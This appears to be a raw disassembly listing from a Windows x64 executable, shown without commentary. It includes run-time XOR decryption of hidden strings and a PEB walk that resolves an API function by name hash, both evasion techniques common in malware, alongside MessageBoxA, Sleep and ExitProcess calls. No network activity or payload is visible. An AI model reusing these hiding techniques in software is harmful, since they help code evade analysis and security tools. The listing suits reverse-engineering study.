mov qword [rbp + 0x11d8], rax
mov qword [rbp + 0x2e28], rax
movabs rax, 0xa9872732ed20618d
mov qword [rbp + 0x11e0], rax
mov qword [rbp + 0x2e30], rax
movabs rax, 0xc636bdcbc18cac0a
mov qword [rbp + 0x11e8], rax
mov qword [rbp + 0x2e38], rax
lea r8, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x11c0]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x11c0], xmm0
movdqa xmm1, xmmword [rbp + 0x11d0]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x11d0], xmm1
movdqa xmm0, xmmword [rbp + 0x11e0]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x11e0], xmm0
xor r9d, r9d
mov r8, rbx
lea rdx, [rbp + 0x11c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov eax, 0x12
mov dword [rbp + 0x8c08], eax
call fcn.7ff7cbf1e880
call fcn.7ff7cbf1f680
xor ecx, ecx
call fcn.7ff7cbef96ac
call fcn.7ff7cbf38f34
mov rcx, qword [0x7ff7cbf946a8]
call qword [sym.imp.user32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x8298]
mov rcx, qword [rbp + 0x82c0]
call qword [sym.imp.user32.dll_UnregisterClassA]
lea rcx, [rbp + 0x89c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf37620
lea rcx, [rbp + 0x89a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x84b0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf38600
lea rcx, [rbp + 0x88f8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8560]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8450]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8468]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8618]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8540]
call fcn.7ff7cbf376b0
mov eax, 1
jmp 0x7ff7cbf7798a
mov qword [rbp + 0x9b60], r13
mov qword [rbp + 0x9b68], r12
movabs rax, 0x4294963bd105ac0
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], r12
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x9b60]
movdqa xmmword [rbp + 0x100], xmm0
movabs rax, 0x70092d06be0b49c3
movabs rcx, 0x88d072860addb9c9
movabs rdx, 0x3252f8448d8e729b
movabs r8, 0xeddc519cba2240bc
mov qword [rbp + 0x9b20], r13
mov qword [rbp + 0x9b28], r12
mov qword [rbp + 0x9b30], rsi
mov qword [rbp + 0x9b38], r14
mov qword [rbp + 0x9b40], rbx
mov qword [rbp + 0x9b48], rdi
mov qword [rbp + 0x1190], rax
mov qword [rbp + 0x1198], rcx
mov qword [rbp + 0x11a0], rdx
mov qword [rbp + 0x11a8], r8
mov qword [rbp + 0x11b0], rbx
mov qword [rbp + 0x11b8], rdi
movdqa xmm0, xmmword [rbp + 0x1190]
pxor xmm0, xmmword [rbp + 0x9b20]
movdqa xmmword [rbp + 0x1190], xmm0
movdqa xmm1, xmmword [rbp + 0x11a0]
pxor xmm1, xmmword [rbp + 0x9b30]
movdqa xmmword [rbp + 0x11a0], xmm1
movdqa xmm0, xmmword [rbp + 0x11b0]
pxor xmm0, xmmword [rbp + 0x9b40]
movdqa xmmword [rbp + 0x11b0], xmm0
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r10d, dword [rdx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x7ff7cbf77745
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x7ff7cbf77745
mov edi, dword [r10 + 0x20]
mov r14d, 1
dec r8d
lea rax, [r9 + r8*4]
mov edx, dword [rax + rdi]
add rdx, r9
mov r11d, 0x4a4c44b
mov al, byte [rdx]
add rdx, r14
test al, al
je 0x7ff7cbf77740
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rdx]
add rdx, r14
test al, al
jne 0x7ff7cbf77721
cmp r11d, 0x783ed4ea
je 0x7ff7cbf7774a
test r8d, r8d
jne 0x7ff7cbf77705
mov rcx, qword [rcx]
jmp 0x7ff7cbf776da
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
xor r9d, r9d
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x1190]
mov rcx, rsi
call rax
jmp 0x7ff7cbf65494
movabs rax, 0x67463b13f23f05fe
movabs rcx, 0x939621d74fc9eac3
movabs rdx, 0x7c1beb5f85c07982
movabs r8, 0xebc7188da82e45ab
movabs r9, 0xbf892530bf35299c
movabs r10, 0xe836addcce8ce959
movabs r11, 0x81c0a99dbb62b425
movabs r15, 0x6c08c6d4812e996c
mov qword [rbp + 0x9cd0], r13
mov qword [rbp + 0x9cd8], r12
mov qword [rbp + 0x9ce0], rsi
mov qword [rbp + 0x9ce8], r14
mov qword [rbp + 0x9cf0], rbx
mov qword [rbp + 0x9cf8], rdi
movabs rbx, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9d00], rbx
mov qword [rbp + 0x9d08], r15
mov qword [rbp + 0x1750], rax
mov qword [rbp + 0x1758], rcx
mov qword [rbp + 0x1760], rdx
mov qword [rbp + 0x1768], r8
mov qword [rbp + 0x1770], r9
mov qword [rbp + 0x1778], r10
mov qword [rbp + 0x1780], r11
mov qword [rbp + 0x1788], r15
movdqa xmm0, xmmword [rbp + 0x1750]
pxor xmm0, xmmword [rbp + 0x9cd0]
movdqa xmmword [rbp + 0x1750], xmm0
movdqa xmm1, xmmword [rbp + 0x1760]
pxor xmm1, xmmword [rbp + 0x9ce0]
movdqa xmmword [rbp + 0x1760], xmm1
movdqa xmm0, xmmword [rbp + 0x1770]
pxor xmm0, xmmword [rbp + 0x9cf0]
movdqa xmmword [rbp + 0x1770], xmm0
movdqa xmm1, xmmword [rbp + 0x1780]
pxor xmm1, xmmword [rbp + 0x9d00]
movdqa xmmword [rbp + 0x1780], xmm1
mov rdx, qword [rbp + 0x99f0]
lea rcx, [rbp + 0x1750]
call fcn.7ff7cbf63d9c
mov ecx, dword [rbp + 0x9aa0]
call fcn.7ff7cbf62bc4
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov qword [rbp + 0x8490], r13
mov qword [rbp + 0x8498], r12
mov qword [rbp + 0x84a0], rsi
mov qword [rbp + 0x84a8], r14
movabs rax, 0x655f270af23f05fe
mov qword [rbp + 0xcb0], rax
movabs rax, 0x84c2279f4fdef0ca
mov qword [rbp + 0xcb8], rax
movabs rax, 0x5c378c31ecae1d8f
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], r14
movdqa xmm0, xmmword [rbp + 0xcb0]
pxor xmm0, xmmword [rbp + 0x8490]
movdqa xmmword [rbp + 0xcb0], xmm0
movdqa xmm1, xmmword [rbp + 0xcc0]
pxor xmm1, xmmword [rbp + 0x84a0]
movdqa xmmword [rbp + 0xcc0], xmm1
lea rcx, [rbp + 0xcb0]
call fcn.7ff7cbf63d9c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp + 0x8540]
call fcn.7ff7cbf376b0
xor eax, eax
mov rcx, qword [rbp + 0xb020]
xor rcx, rsp
call fcn.7ff7cbf77d90
lea r11, [rsp + 0xb1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x7ff7cbf94f78]
call fcn.7ff7cbf78188
cmp dword [0x7ff7cbf94f78], 0xffffffff
jne 0x7ff7cbf71b0d
mov edx, 0x18
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf3f030
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf363f4
lea rcx, [0x7ff7cbf7bf68]
call fcn.7ff7cbf77fe8
lea rcx, [0x7ff7cbf94f78]
call fcn.7ff7cbf78128
jmp 0x7ff7cbf71b0d